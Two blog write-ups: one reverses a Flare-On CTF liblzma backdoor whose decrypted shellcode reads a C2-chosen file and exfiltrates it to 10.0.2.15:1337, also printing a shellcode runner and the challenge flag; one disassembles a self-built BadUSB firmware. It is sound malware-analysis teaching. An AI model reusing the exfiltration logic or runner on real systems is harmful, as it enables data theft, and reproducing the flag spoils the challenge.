int RSA_public_decrypt(int flen, unsigned char *from, unsigned char *to, RSA *rsa, int padding)

RSA_public_decrypt() recovers the message digest from the flen bytes long signature at from using the signer’s public key rsa. to must point to a memory section large enough to hold the message digest (which is smaller than RSA_size(rsa) - 11). padding is the padding mode that was used to sign the data.

Extracting Arguments

Using the coredump, I examined the arguments passed to the function, which are stored in specific registers before the call. The register-to-argument mapping is:

register argument name value
rdi first flen 0x200 (512)
rsi second *from 0x55b46d51dde0
rdx third *to 0x55b46d58eb20
rcx fourth *rsa 0x55b46d58e080
r8 fifth padding 0x1

Inspecting the second argument (*from) in gdb confirmed that the magic bytes (\xc5\x40\x7a\x48) were present:

Dumping Memory Arguments

In order to dump the contents of the arguments, I used the gdb command dump to extract memory regions for the arguments into files:

dump [format] memory filename start_addr end_addr
dump [format] value filename expr
Note

The flen argument specifies the length of the parameters as 0x200 (512) bytes.

dump binary memory dump_from.bin 0x55b46d51dde0 0x55b46d51dde0+0x200
dump binary memory dump_to.bin 0x55b46d58eb20 0x55b46d58eb20+0x200
dump binary memory dump_rsa.bin 0x55b46d58e080 0x55b46d58e080+0x200

dump_to.bin was empty because the function was not called yet. dump_rsa.bin and dump_from.bin contained some data, but I was unable to get anything useful from it.

Reversing liblzma

At this stage, I discovered that the liblzma library contained a backdoor. The backdoor is triggered when the dynamically resolved RSA_public_decrypt function is invoked with the *from argument starting with the magic bytes 0xc5407a48.

After reversing for a while, I understood the basic functionality:

  1. initialize chacha20 cipher with key (*from + 0x04) and iv (*from + 0x24)
  2. mmap: allocate a memory region of size 0x0f96 (3990 bytes)
  3. memcpy: copy the encrypted data into the newly allocated memory
  4. chacha20 decrypt the allocated memory
  5. execute shellcode (the decrypted data)
  6. chacha20 init with the same key and iv
  7. chacha20 re-encrypt the memory region again

The Ghidra decompilation view helped me understand the dynamic behavior of RSA_public_decrypt. The sequence of calls matched the flow described above (I did the renaming).

The structure of the *from argument revealed its purpose:

Using Radare2, I verified the presence of the ChaCha20 routine by identifying the string "expand 32-byte k".

Extract and decrypt the shellcode

The backdoor contains an encrypted payload located in the liblzma library at address 0x7f4a18ca9960, with a size of 0x0f96. I dumped the encrypted shellcode to a binary file using gdb:

pwndbg> dump binary memory dump_shellcode.bin 0x7f4a18ca9960 0x7f4a18caa8f6

At this point I felt that I was making some progress, like a game save after a boss fight.

With the encrypted file resting on my desktop, and with the key and nonce extracted earlier, I assumed that it could be decrypted locally. So I wrote a small Python script to decrypt the shellcode:

from pathlib import Path
from Crypto.Cipher import ChaCha20

# Load the "dump_from" file containing the RSA_public_decrypt input
with open(Path(__file__).parent.joinpath("dump_from.bin"), "rb") as f:
    dump_from = f.read()

# Extract key (32 bytes) and nonce (12 bytes) from the "from" argument
key = dump_from[0x4:0x4+32]  # key 32 bytes
nonce = dump_from[0x24:0x24+12]  # nonce 12 bytes

# Load the dumped shellcode from the "dump_shellcode" file
with open(Path(__file__).parent.joinpath("dump_shellcode.bin"), "rb") as f:
    encrypted_shellcode = f.read()

# Decrypt the shellcode using ChaCha20
cipher = ChaCha20.new(key=key, nonce=nonce)
shellcode = cipher.decrypt(encrypted_shellcode)

# Save the decrypted shellcode for further analysis
with open(Path(__file__).parent.joinpath("decrypted_shellcode.bin"), "wb") as f:
    f.write(shellcode)

Another game save :)

Analysis of the shellcode

Dynamic analysis

To quickly analyze the behaviour of the shellcode, I used a custom shellcode runner for execution testing:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "\x55\x48\x8b\xec\xe8\xb9\x0d\x00...";

int main() {
    (*(void(*)())shellcode)();
}

The program was compiled with stack protections disabled and executable stack permissions enabled to accommodate the shellcode:

gcc -fno-stack-protector -z execstack -no-pie -o shell shell.c

Running the shellcode with strace provided an overview of its system calls and hinted a basic idea of its functionality:

remnux@remnux:~$ strace ./shell
[...]
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = -1 ECONNREFUSED (Connection refused)
recvfrom(-111, 0x7fff79403fb8, 32, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)
recvfrom(-111, 0x7fff79403fd8, 12, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)
recvfrom(-111, 0x7fff79405168, 4, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)
recvfrom(-111, 0x7fff79403fe8, 0, 0, NULL, NULL) = -1 EBADF (Bad file descriptor)
open("", O_RDONLY)                      = -1 ENOENT (No such file or directory)
read(-2, 0x7fff794040e8, 128)           = -1 EBADF (Bad file descriptor)
sendto(-111, "\0\0\0\0", 4, 0, NULL, 0) = -1 EBADF (Bad file descriptor)
sendto(-111, "", 0, 0, NULL, 0)         = -1 EBADF (Bad file descriptor)
close(-2)                               = -1 EBADF (Bad file descriptor)
shutdown(-111, SHUT_RD)                 = -1 EBADF (Bad file descriptor)
exit_group(0)                           = ?
+++ exited with 0 +++

Observations

  1. Socket creation

    The shellcode creates a TCP socket and attempts to connect to 10.0.2.15:1337.

    Note

    The IP address 10.0.2.15 is the default for NAT-based virtual machines in VirtualBox.

    On my remnux VM I don’t even have to worry about network configurations, just enable NAT and voilà, everything is ready to go.

    In case the IP is not the expected, a simple iptables rule can make the trick:

    sudo iptables -t nat -A OUTPUT -d 10.0.2.15 -j DNAT --to-destination 127.0.0.1

  2. Receive data

    After making the initial connection, the shellcode will receive 4 streams of data (32 bytes, 12 bytes, 4 bytes and 0 (?) bytes).

  3. Open local file and read its contents

  4. Data exfiltration

    At the end, it sends back 4 bytes "\0\0\0\0" (?) and then 0 bytes "" (?) that may be the exfiltrated data.

    The challenge description said something related to an exfiltration, so it seems we are on the correct track.

    Do your part, random internet hacker, to help FLARE out and tell us what data they stole!

To fully understand the communication protocol with the C2 and confirm the stolen data, the next step was to perform a static analysis of the shellcode to identify its data handling and transmission logic.

Static analysis

The decrypted shellcode is relatively small, with several syscalls as we already seen on the dynamic analysis.

Socket Initialization

The first part of the main function contains the following values that are passed to the next call: 0xa00020f and 0x539.

Inside the function fcn.0000001a there are two syscalls. I got the list of syscalls numbers and its arguments from here: Linux x86_64 System Call Reference Table.

The Linux manuals helped me understand the syscalls and arguments:

  • sys_socket (0x29 / 41): Creates a socket.

    socket_family: 0x2 = AF_INET
socket_type: 0x1 = SOCK_STREAM
protocol: 0x6 = TCP

    Reference of the Protocol Numbers

  • sys_connect (0x2a / 42): Connects the socket to the remote address.

    The struct sockaddr* contains the IP address and the port number. This struct is constructed using previous parameters 0xa00020f and 0x539.

    0xa00020f can be translated into 0x0a 0x00 0x02 0x0f -> 10 0 0 2 -> 10.0.2.15, which is the IP address to connect to, and 0x539 is the haxxor 1337 port.

Once I resolved the arguments, I got something like this:

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sockfd, *addr=10.0.2.15:1337, addrlen);

That matches what was observed during dynamic analysis with strace.

Received data

After the connection is established, the shellcode retrieves data in four steps and the file is then opened and read. Using the same methods, the syscalls and arguments can be easily recognized.

Pseudocode:

data1 = recvfrom(sockfd, *buf, len=0x20)              // 32 bytes
data2 = recvfrom(sockfd, *buf, len=0x0c)              // 12 bytes
filename_size = recvfrom(sockfd, *buf, len=0x4)       // 4 bytes
filename = recvfrom(sockfd, *buf, len=filename_size)  // filename_size bytes
f = open(*pathname=filename, flags=0)                 // flags=O_RDONLY
data_file = read(f, *buf, count=0x80)                 // First 128 bytes

Custom ChaCha20 implementation

This part was not seen in the first dynamic analysis.

The shellcode contains two long functions that are in fact a modified ChaCha20 encryption routine.

The two complex functions are familiar after reversing the liblzma library, but this time the algorithm is a bit different. The magic string ends with an uppercase “K” instead of the original “expand 32-byte k”.

I guessed that the first received data was the key (32 bytes) and the second one was the nonce (12 bytes).

Since ChaCha20 is a stream cipher, the size of the encrypted data is the same as the original data.

file_size = strlen(data_file)
custom_chacha20_init(key, nonce)
encrypted_data = custom_chacha20_encrypt(data_file)

Exfiltration

The final part of the shellcode contains two sendto syscalls and two wrappers of sys_close and sys_shutdown to exit the program.

After the encryption, it first sends the length of the file, and then, it sends the encrypted file.

The final pseudocode will look something like this:

// socket init
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sockfd, *addr="10.0.2.15:1337", addrlen);

// receive data from the c2
key = recvfrom(sockfd, *buf, len=0x20)                // 32 bytes
nonce = recvfrom(sockfd, *buf, len=0x0c)              // 12 bytes
filename_size = recvfrom(sockfd, *buf, len=0x4)       // 4 bytes
filename = recvfrom(sockfd, *buf, len=filename_size)  // filename_size bytes

// open and read file
f = open(*pathname=filename, flags=0)                 // flags=O_RDONLY
data_file = read(f, *buf, count=0x80)                 // First 128 bytes

// encryption
file_size = strlen(data_file)
custom_chacha20_init(key, nonce)
encrypted_data = custom_chacha20_encrypt(data_file)

// exfiltration
sendto(sockfd, *buf=file_size, len=0x4)
sendto(sockfd, *buf=encrypted_data, len=file_size)

// clean up and exit
close()
shutdown()

Recover the stolen file

Since I had more or less a clear understanding of the shellcode’s functionality, the next task was to recover the exfiltrated (encrypted) file, which (hopefully) contains the flag. To decrypt it, I needed the key and nonce. The decryption process involves XORing the encrypted data with the same keystream used during encryption.

Retrieve data from the coredump

I spent A LOT of time diving into the coredump with gdb, which was the hard way to get used to the tool.

The following picture contains the cryptographic material in the core dump, but it was not easy to locate. I’m a little embarrassed now because it appears so simple, but it took me a while. At least I learned something ¯\_(ツ)_/¯

In order to extract this information, I used again the dump command:

dump binary memory dump_key.bin 0x7ffcc6600be8 0x7ffcc6600be8+0x20
dump binary memory dump_nonce.bin 0x7ffcc6600be8+0x20 0x7ffcc6600be8+0x20+0xc
dump binary memory dump_encrypted_flag.bin 0x7ffcc6600be8+0x130 0x7ffcc6600be8+0x130+0x20

Alternatively, with Radare2 is very easy to copy those bytes:

[0x00000000]> px 0x160 @0x7ffcc6600be8
- offset -      E8E9 EAEB ECED EEEF F0F1 F2F3 F4F5 F6F7  89ABCDEF01234567
0x7ffcc6600be8  8dec 9112 eb76 0eda 7c7d 87a4 4327 1c35  .....v..|}..C'.5
0x7ffcc6600bf8  d9e0 cb87 8993 b4d9 04ae f934 fa21 66d7  ...........4.!f.
0x7ffcc6600c08  1111 1111 1111 1111 1111 1111 2000 0000  ............ ...
0x7ffcc6600c18  2f72 6f6f 742f 6365 7274 6966 6963 6174  /root/certificat
[...]
[0x00000000]> pcs 0x20 @0x7ffcc6600be8 
"\x8d\xec\x91\x12\xeb\x76\x0e\xda\x7c\x7d\x87\xa4\x43\x27\x1c\x35\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf9\x34\xfa\x21\x66\xd7"
[0x00000000]> pcs 0xc @0x7ffcc6600be8+0x20
"\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
[0x00000000]> ps 0x2b @0x7ffcc6600be8+0x30
/root/certificate_authority_signing_key.txt
[0x00000000]> pcs 0x20 @0x7ffcc6600be8+0x130
"\xa9\xf6\x34\x08\x42\x2a\x9e\x1c\x0c\x03\xa8\x08\x94\x70\xbb\x8d\xaa\xdc\x6d\x7b\x24\xff\x7f\x24\x7c\xda\x83\x9e\x92\xf7\x07\x1d"

Let the shellcode decrypt the file

While attempting static decryption, I encountered multiple issues due to uncertainty about the exact ChaCha20 modifications or if I had the correct key/nonce/encrypted data. After multiple failures, I realized the shellcode itself could be used to decrypt the file by simulating the C2 server and re-sending the encrypted flag.

Conditions for success:

  1. Simulate a c2 server listening on 10.0.2.15:1337

  2. Prepare a local file with the encrypted flag. (encryption is the same as decryption, so encrypt twice is equal to decrypt)

  3. Provide the shellcode with key, nonce, filename_size, and filename in the correct sequence:

  4. Receive the decrypted flag through the shellcode’s response (file_size and file)

I could have asked ChatGPT to make a simple python server for me, but I was tired and frustrated, so I decided to rely on the good ol’ cats.

First, I created a www directory and placed there the dumped files dump_key.bin, dump_nonce.bin and dump_encrypted_flag.bin. I moved there the compiled shellcode too.

The missing pieces were the filepath_size and the filepath, which I crafted with Python:

>>> filepath = b"dump_encrypted_flag.bin"
>>> with open("filepath.bin", "wb") as f:
...     f.write(filepath)
... 
23
>>> filepath_size = len(filepath)
>>> with open("filepath_size.bin", "wb") as f:
...     f.write(filepath_size.to_bytes(4,"little"))
... 
4

The dirty but effective way of joining all the pieces together was simply using some cats:

$ cat dump_key.bin > cat dump_nonce.bin > cat filepath_size.bin > cat filepath.bin > please_give_me_the_flag.bin
$ xxd please_give_me_the_flag.bin 
00000000: 943d f638 a818 13e2 de63 18a5 07f9 a0ba  .=.8.....c......
00000010: 2dbb 8a7b a636 66d0 8d11 a65e c914 d66f  -..{.6f....^...o
00000020: f236 839f 4dcd 711a 5286 2955 1700 0000  .6..M.q.R.)U....
00000030: 6475 6d70 5f65 6e63 7279 7074 6564 5f66  dump_encrypted_f
00000040: 6c61 672e 6269 6e                        lag.bin

Then, I used ncat to simulate the c2 server, providing the crafted input and saving the response in a file:

$ cat please_give_me_the_flag.bin | nc -nvtlp 1337 > flag.txt
Listening on 0.0.0.0 1337

Finally, I detonated the shellcode on a different terminal tab. And there is the flag! *cries*

$ strace ./shellcode
[...]
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = 0
recvfrom(3, "\215\354\221\22\353v\16\332|}\207\244C'\0345\331\340\313\207\211\223\264\331\4\256\3714\372!f\327", 32, 0, NULL, NULL) = 32
recvfrom(3, "\21\21\21\21\21\21\21\21\21\21\21\21", 12, 0, NULL, NULL) = 12
recvfrom(3, "\27\0\0\0", 4, 0, NULL, NULL) = 4
recvfrom(3, "dump_encrypted_flag.bin", 23, 0, NULL, NULL) = 23
open("dump_encrypted_flag.bin", O_RDONLY) = 4
read(4, "\251\3664\10B*\236\34\f\3\250\10\224p\273\215\252\334m{$\377\177$|\332\203\236\222\367\7\35", 128) = 32
sendto(3, "&\0\0\0", 4, 0, NULL, 0)     = 4
sendto(3, "supp1y_cha1n_sund4y@flare-on.com"..., 38, 0, NULL, 0) = 38
close(4)                                = 0
shutdown(3, SHUT_RD)                    = 0
exit_group(0)                           = ?
+++ exited with 0 +++

The flag was saved on the file exactly as planned :)

$ cat please_give_me_the_flag.bin | nc -nvtlp 1337 > flag.txt
Listening on 0.0.0.0 1337
Connection received on 10.0.2.15 59262
$ xxd flag.txt 
00000000: 2600 0000 7375 7070 3179 5f63 6861 316e  &...supp1y_cha1n
00000010: 5f73 756e 6434 7940 666c 6172 652d 6f6e  _sund4y@flare-on
00000020: 2e63 6f6d 9b34 62e7 d872                 .com.4b..r
$ cat flag.txt
&supp1y_cha1n_sund4y@flare-on.com�4b��r$

What a journey

Static decryption

At the time of writing this report, I realized that I wasn’t too far away to the solution when I tried to decrypt the flag statically. The encryption algorithm only differs with the uppercase “K”. During the inspection of the shellcode I saw a 10 loop iteration and I thought it was a reduced number of rounds from the original algorithm. I got misled about the number of rounds, because the algorithm uses 10 loops, with 2 rounds in each one, and the 10 loop iteration was correct. It is nicely explained on Wikipedia, my fault was to not read it more thoroughly.

Knowing that small difference and the final answer, writing a python script is very easy once you know the solution.

I had to modify an existing ChaCha20 library, and I opted for chacha20poly1305. The modification is just one byte of the class ChaCha:

[...]

class ChaCha(object):

    """Pure python implementation of ChaCha cipher"""

    # expand 32-byte k
    # "expa" "nd 3" "2-by" "te k"
    # "apxe" "3 dn" "yb-2" "k et"
    constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
    # expand 32-byte K
    constants = [0x61707865, 0x3320646e, 0x79622d32, 0x4b206574]

[...]

This is the final decryption code using the modified ChaCha implementation:

from chacha20poly1305 import ChaCha

key = b"\x8d\xec\x91\x12\xeb\x76\x0e\xda\x7c\x7d\x87\xa4\x43\x27\x1c\x35\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf9\x34\xfa\x21\x66\xd7"
nonce = b"\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
ciphertext = b"\xa9\xf6\x34\x08\x42\x2a\x9e\x1c\x0c\x03\xa8\x08\x94\x70\xbb\x8d\xaa\xdc\x6d\x7b\x24\xff\x7f\x24\x7c\xda\x83\x9e\x92\xf7\x07\x1d"

plaintext = ChaCha(key, nonce, counter=0, rounds=20).decrypt(ciphertext)
print(plaintext)

And the precious flag :)

(venv) $ python3 decrypt_flag.py
bytearray(b'supp1y_cha1n_sund4y@flare-on.com')

Conclusion

This challenge was an emotional rollercoaster, frustrating at times, but ultimately rewarding. Kudos to toomanybananas for this amazing challenge. Looking back, I’m glad I stayed stubborn and refused to give up, even when the difficulty felt way above my current skill level. I was on vacation for 10 days without my computer, but the coredump was still on my mind. It pushed me to dive deep into tools like gdb, radare2, or cryptographic analysis, teaching me more than I could have imagined at the start.

I’m already excited to participate in the next Flare-On and hope to make it a bit further :D

Back to top ]]> flareon reversing ghidra radare2 CTF gdb https://0xlibris.net/posts/flare11_5/ Fri, 06 Dec 2024 00:00:00 GMT Reversing a Digispark badusb with Radare2 [3/3] https://0xlibris.net/posts/reversing_badusb_3/

Introduction

This post is the continuation of How to safely investigate an unknown and potentially malicious USB device [1/3] and From sadusb to badusb. Building an internal SOC exercise [2/3].

After the initial failed attempt at reversing a memory dump, let’s assume I found a malicious USB stick in the parking lot. This time, however, the payload isn’t unknown; is the one that I crafted myself and explained in the previous post.

Now that we have a real malicious badusb, we can finally analyze it.

Yes, I know it’s cheating, but I don’t care.

Why spend more time on this if I already know what’s inside the stick? Because, why not?

Memory dump

There are many questions on Stack Overflow about whether it’s possible to extract code from an Arduino board or an AVR microcontroller. Since many Arduino boards are based on ATmega microcontrollers, it’s understandable that beginners often run into issues and ask these questions. So, looks like it’s common to flash something and then lose the source code ¯\(ツ)/¯

One of my favorite answers to the question How do I extract code from an arduino? [duplicate] is:

The short answer: You don’t.

With enough know-how, you could probably extract the executable binary from the Arduino, but the source code is not installed on the device. You would need to run a decompiler on the binary. (Or read the machine code directly.) The output of a decompiler is usually pretty ugly however, and will look quite different from the original source-code. It won’t have meaningful variable names, class names, or function names, and the code structure will likely be a little different than the original source code.

All those problems, setbacks, and attempts to demotivate are exactly what I’m looking for :D

But, as we already know, there are different ways to dump memory from the ATtiny. I will use the Arduino as ISP because it’s easier and more reliable. Everything is explained here: Dumping memory, Second attempt: Arduino

Not much more to add here, just clip the chip and fire avrdude.

$ sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:r:dump.bin

Inspecting the memory dump

Once we have the memory dump file, we can inspect its contents.

$ xxd dump.bin
00000000: 48c3 6cc3 9ac6 6ac3 22c6 68c3 67c3 66c3  H.l...j.".h.g.f.
00000010: 65c3 64c3 63c3 62c3 61c3 60c3 5fc3 2c5e  e.d.c.b.a.`._.,^
00000020: 7460 6162 6434 6667 656e 362d 3738 271e  t`abd4fgen6-78'.
00000030: 1f20 2122 2324 2526 7333 762e 7778 5f44  . !"#$%&s3v.wx_D
00000040: 4546 4748 494a 4b4c 4d4e 4f50 5152 5354  EFGHIJKLMNOPQRST
00000050: 5556 5758 595a 5b5c 5d2f 3130 636d 3504  UVWXYZ[\]/10cm5.
00000060: 0506 0708 090a 0b0c 0d0e 0f10 1112 1314  ................
00000070: 1516 1718 191a 1b1c 1d6f 7170 752a 0501  .........oqpu*..
00000080: 0906 a101 0507 19e0 29e7 1500 2501 7501  ........)...%.u.
00000090: 9508 8102 9501 7508 2573 1900 2973 8100  ......u.%s..)s..
000000a0: c012 034b 0065 0079 0062 006f 0061 0072  ...K.e.y.b.o.a.r
000000b0: 0064 0028 0344 0065 006c 006c 0020 0043  .d.(.D.e.l.l. .C
000000c0: 006f 006d 0070 0075 0074 0065 0072 0020  .o.m.p.u.t.e.r. 
000000d0: 0043 006f 0072 0070 002e 0004 0309 0409  .C.o.r.p........
000000e0: 0222 0001 0100 8032 0904 0000 0103 0101  .".....2........
...

This time, we have some interesting data! The keyboard name is easily identifiable at the start of the binary, looks so promising!

It’s the only thing that makes sense, but it’s normal, it’s a memory dump.

Running the strings command doesn’t show anything useful:

$ strings dump.bin
,^t`abd4fgen6-78'
 !"#$%&s3v.wx_DEFGHIJKLMNOPQRSTUVWXYZ[\]/10cm5
oqpu*
h>s@
/_?O$
&/ R3
M/l/
F/h/
q@d/w
q/wRP
~@/G~T

If the payload contents were shown directly using strings, it would have been too easy.

To get more information, we’ll need to use a disassembler to recover the assembly code.

Dissassembly

A disassembler is a computer program that translates machine language into assembly language.

avr-objdump is a utility that is part of the AVR-GCC toolset, used for developing software for AVR microcontrollers. It is a version of the GNU objdump program tailored specifically for the AVR architecture.

The input file should be in Intel Hex format. To convert from binary to ihex or vice-versa, we can use the avr-objcopy utility.

avr-objcopy -I ihex dump.hex -O binary dump.bin
avr-objcopy -I binary dump.bin -O ihex dump.hex

Some useful options of the avr-objdump include:

-x, --all-headers              Display the contents of all headers
-d, --disassemble              Display assembler contents of executable sections
-D, --disassemble-all          Display assembler contents of all sections
-S, --source                   Intermix source code with disassembly
-s, --full-contents            Display the full contents of all sections requested
-m, --architecture=MACHINE     Specify the target architecture as MACHINE

The MACHINE architecture can be found on nongnu.org. For the ATtiny85, it corresponds to avr2/avr25.

Using these utilities, we can get the disassembly, though it’s a bit rudimentary.

$ avr-objcopy -I binary dump.bin -O ihex dump.hex
$ avr-objdump -m avr25 -xD dump.hex

dump.hex:     file format ihex
dump.hex
architecture: UNKNOWN!, flags 0x00000000:

start address 0x00000000

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .sec1         000011aa  00000000  00000000  00000000  2**0
                  CONTENTS, ALLOC, LOAD
SYMBOL TABLE:
no symbols

Disassembly of section .sec1:

00000000 <.sec1>:
       0:       48 c3           rjmp    .+1680          ;  0x692
       2:       6c c3           rjmp    .+1752          ;  0x6dc
       4:       9a c6           rjmp    .+3380          ;  0xd3a
       6:       6a c3           rjmp    .+1748          ;  0x6dc
       8:       22 c6           rjmp    .+3140          ;  0xc4e
       a:       68 c3           rjmp    .+1744          ;  0x6dc
       c:       67 c3           rjmp    .+1742          ;  0x6dc
       e:       66 c3           rjmp    .+1740          ;  0x6dc
      10:       65 c3           rjmp    .+1738          ;  0x6dc
      12:       64 c3           rjmp    .+1736          ;  0x6dc
      14:       63 c3           rjmp    .+1734          ;  0x6dc
      16:       62 c3           rjmp    .+1732          ;  0x6dc
      18:       61 c3           rjmp    .+1730          ;  0x6dc
      1a:       60 c3           rjmp    .+1728          ;  0x6dc
      1c:       5f c3           rjmp    .+1726          ;  0x6dc
      1e:       2c 5e           subi    r18, 0xEC       ; 236   
      20:       74 60           ori     r23, 0x04       ; 4     
      22:       61 62           ori     r22, 0x21       ; 33    
      24:       64 34           cpi     r22, 0x44       ; 68    
      26:       66 67           ori     r22, 0x76       ; 118   
      28:       65 6e           ori     r22, 0xE5       ; 229   
      2a:       36 2d           mov     r19, r6                 
      2c:       37 38           cpi     r19, 0x87       ; 135   
      2e:       27 1e           adc     r2, r23                 
      30:       1f 20           and     r1, r15                 
      32:       21 22           and     r2, r17                 
...

avr-objdump is simple and easy to use, but it’s not the best tool for reverse engineering a full firmware.

There are other similar alternatives like vAVRdisasm, AVRDisassembler, or avrdisas, but they are a bit old and have basic features too.

Other advanced disassembler and decompiler alternatives that support AVR include Ghidra, IDA Pro, Binary Ninja, and Hopper. However, radare2 is my favorite <3

Learning AVR

Now that we have a memory dump and we can read assembly code, it’s time to learn a bit more about AVR Assembly to understand what is going on.

Introduction to AVR assembly

AVR assembly language is a low-level language specific to the AVR family of microcontrollers. Understanding AVR assembly requires familiarity with its instruction set and architecture.

Here are some basics to get started:

  • Memory: The memory in AVR microcontrollers includes Flash memory for storing the program, SRAM for data, and EEPROM for non-volatile data storage. More information about the memory map can be found in a previous blog post.

  • Registers: AVR microcontrollers have 32 general-purpose working registers, named R0 to R31. Additionally, there are special-purpose double registers like X (R26,R27), Y (R28,R29), and Z (R30,R31), which are used for memory addressing operations.

Useful resources

  • AVR® Instruction Set Manual: The AVR® Instruction Set Manual from Microchip is the official document detailing each instruction. However, it can be dense and challenging to read straight through. It’s useful for looking up specific instructions or clarifying doubts.

  • Hackaday Course: The AVR: Architecture, Assembly & Reverse Engineering course by Uri Shaked and Hackaday is extremely useful to understand low level AVR. It’s a full course covering very interesting topics about AVR and practical reverse engineering techniques.

Understanding instructions

Learning common instructions is crucial for understanding AVR assembly. Here are a couple examples of how instructions are documented in the datasheet:

  • LDI (Load Immediate): Loads an 8-bit constant directly to a register.

  • OUT (Output): Transfers data from a register to an I/O location.

By familiarizing ourselves with these instructions and registers, we can begin to piece together what the assembly code is doing.

Understanding AVR assembly takes time and practice. My approach was to dive straight into the assembly code and refer to the documentation as needed. Over time, you’ll start to recognize and understand more parts of the code.

Reversing with radare2

Entrypoint and bootloaders

After the initial analysis with aaa, we can find basic information about the memory dump:

The entrypoint is detected at 0x00692

The keyboard type is easily found by searching for strings, but the full payload is encoded inside the binary data.

Looking at the graph of the entrypoint function, we can see a more or less familiar structure.

The LiveOverflow video Identify Bootloader main() and find Button Press Handler - Hardware Wallet Research #5 is an excellent resource showing a similar initialization routine.

It’s practically the same RAM initialization routine, or bootloader initialization:

  • Copy static data from ROM to RAM
  • RAM is empty on startup
  • Clear the rest of RAM
  • Call the main() function

We flashed our code directly using avrdude without specifying the bootloader, and a minimal initialization is what we see at the entry0.

Following the graph, we can find the main function (renamed by me):

Main function

The main function is quite large and can be summarized into two different parts.

First part

The first part is a hardware initialization, using I/O registers. Radare2 helps a lot with annotations.

I/O registers in AVR are special memory locations used to control hardware peripherals like timers, counters, serial ports, and other internal components. Each I/O register is associated with a specific function or hardware feature.

There are a lot of in, out, andi, and ori instructions, used to configure these registers.

  • in: Load an I/O Location to Register. Loads data from the I/O Space (Ports, Timers, Configuration Registers, etc.) into register Rd in the Register File.
  • out: Store Register to I/O Location. Stores data from register Rr in the Register File to I/O Space (Ports, Timers, Configuration Registers, etc.).
  • andi: Logical AND with Immediate. Performs the logical AND between the contents of register Rd and a constant, and places the result in the destination register Rd.
  • ori: Logical OR with Immediate. Performs the logical OR between the contents of register Rd and a constant, and places the result in the destination register Rd.

Second part

The second part of the main function contains the actual code that calls a lot of different functions, and also runs inside a loop.

By comparing the main function from the disassembly with the source code, and renaming some functions for clarity, we can see a clear correlation between them.

We can also verify that the arguments match between the assembly and the source code.

For example, the digi.delay function arguments can be compared:

delay(5000) in the source code is confirmed by the assembly:

[0x00000f7c]> ? 0x88~bin
binary  0b10001000
[0x00000f7c]> ? 0x13~bin
binary  0b00010011
[0x00000f7c]> ? 0b0001001110001000~int
int32   5000

Similarly, delay(1000) is confirmed as well:

[0x00000f7c]> ? 0xe8~bin
binary  0b11101000
[0x00000f7c]> ? 0x03~bin
binary  0b00000011
[0x00000f7c]> ? 0b0000001111101000~int
int32   1000

The arguments for the sendKeyStroke() functions also match:

[0x00000f7c]> ? 0x15~int
int32   21
[0x00000f7c]> ? 0x08~int
int32   8
DigiKeyboard.sendKeyStroke(21, 8); // GUI R

The duckyString() function has two arguments: the pointer to the encoded keys and the length.

duckyString(key_cmd, sizeof(key_cmd)); // STRING cmd /k

The disassembly shows the two arguments (r22+r23 and r24+r25):

We can validate that the size is 12 and the contents are at address *0x675.

>>> 0x0c
12
>>> f'0x{0x06:x}{0x75:x}'
'0x675'

Examining 12 bytes starting at this memory address in radare:

And the original values in the source code were:

// cmd /k
const uint8_t key_cmd[] PROGMEM = {0,6, 0,16, 0,7, 0,44, 0,56, 0,14};

Everything is starting to make sense!

At this point, we have identified the initialization routine or bootloader, the main loop function, and all the important functions and arguments at a high level. We have also learned that the payload to be injected is somewhere in memory and can be found, read, and decoded.

Let’s continue our reversing process to retrieve all the decoded values.

Decode payload bytes

In my exercise I used the BadUSB converter tool duckify.huhn.me to build the sketches with my ducky script payloads. This webapp tool is based on the code from duckify. By examining the source code, I found that it relies on various mappings and JSON files containing the values for each character corresponding to different languages and operating systems.

To reverse-engineer the values, the idea was to guess the keyboard language and operating system, and then refer to the relevant json file for the corresponding values.

However, it was a bit more complicated than anticipated.

Reviewing the duckify’s source code

The possible key mappings are defined in json files within a library folder. The conversion of these mappings is handled in arduinoConverter.js.

The conversion works by reading lines of the Ducky Script and processing them based on the verb (REM, STRING, DELAY, etc.). The STRING verbs, which contain the payloads to be automatically injected, are particularly interesting. The main code that handles STRING lines is:

...
// STRING
else if (line.startsWith('STRING ')) {
    const i = keyArrays.length
    const value = line.substring(7)
    const comment = commentEscape(value)
    const shortComment = commentCut(value)

    addCodeLine(`duckyString(key_arr_${i}, sizeof(key_arr_${i})); // STRING ${shortComment}`)

    keyArrays.push({
        comment: comment,
        value: encodeString(value, layout, i),
    })
}
...

The function that encodes the line is as follows:

encodeString(value, layout, i)

The layout used for encoding is one of the options listed here:

import win_be from './win/be.json'
import win_bg from './win/bg.json'
import win_cacms from './win/ca-cms.json'
import win_cafr from './win/ca-fr.json'
import win_chde from './win/ch-de.json'
...

Each layout is a json file with entries like this:

{
    "char": "a",
    "code": "KeyA",
    "alt": false,
    "altGr": false,
    "shift": false,
    "us": "a",
    "combo": "",
    "comboAlt": false,
    "comboAltGr": false,
    "comboShift": false
}

The encodeString function processes each character of the line and encodes it using the following logic:

    for (const char of str) {
        const key = layout.find(key => key.char === char)
        const value = getKeyValue(key ? key.us : char)
        const modValue = key ? getModValue(key) : 0x00

        if (value === 0) {
            console.log(`Couldn't find value for ${char}`, key)
        }

        if (key && key.combo !== '') {
            const comboModValue = getComboModValue(key)
            const comboValue = getKeyValue(key.combo)

            output += `${comboModValue.toString()},${comboValue.toString()}, `
        }

